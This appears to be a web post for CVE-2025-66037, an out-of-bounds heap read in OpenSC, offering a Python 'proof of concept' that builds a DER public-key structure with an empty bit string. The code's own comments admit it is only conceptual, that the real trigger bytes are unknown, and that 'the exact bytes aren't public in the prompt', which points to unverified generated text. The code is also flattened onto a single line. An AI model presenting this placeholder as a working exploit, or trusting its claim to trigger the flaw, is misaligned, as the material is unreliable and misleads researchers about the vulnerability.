CVE-2025-66037 OpenSC越界堆读取漏洞

import binascii from asn1crypto import keys, core # Proof of Concept for CVE-2025-66037 # This script constructs a malformed SPKI structure that may trigger the OOB read. # Note: Actual exploitation requires a smart card reader environment using OpenSC library. def build_malformed_spki(): # Attempt to construct a SPKI with specific parameters that might confuse the parser # The bug involves zero-length allocation leading to a read past the end. # We simulate a public key info structure with potentially problematic bit strings. # This is a conceptual representation. Real trigger requires specific DER bytes. # Usually involves manipulating the BIT STRING length in the public key structure. # Example DER sequence (Conceptual): # SEQUENCE { # SEQUENCE { ... AlgorithmIdentifier ... } # BIT STRING { ... } <-- Malformed length here # } # Since the exact bytes aren't public in the prompt, we generate a placeholder # that represents the structure type causing the crash. algorithm_identifier = keys.AlgorithmIdentifier({'algorithm': 'rsa'}) # Creating a potentially empty or malformed bit string malformed_bitstring = core.BitString(b'') spki = keys.PublicKeyInfo({ 'algorithm': algorithm_identifier, 'public_key': malformed_bitstring }) return spki.dump() if __name__ == "__main__": poc_data = build_malformed_spki() print(f"Generated PoC DER data length: {len(poc_data)}") print(f"Hex dump: {binascii.hexlify(poc_data).decode('utf-8')}") print("This data should be fed to the fuzz_pkcs15_reader harness or a card.")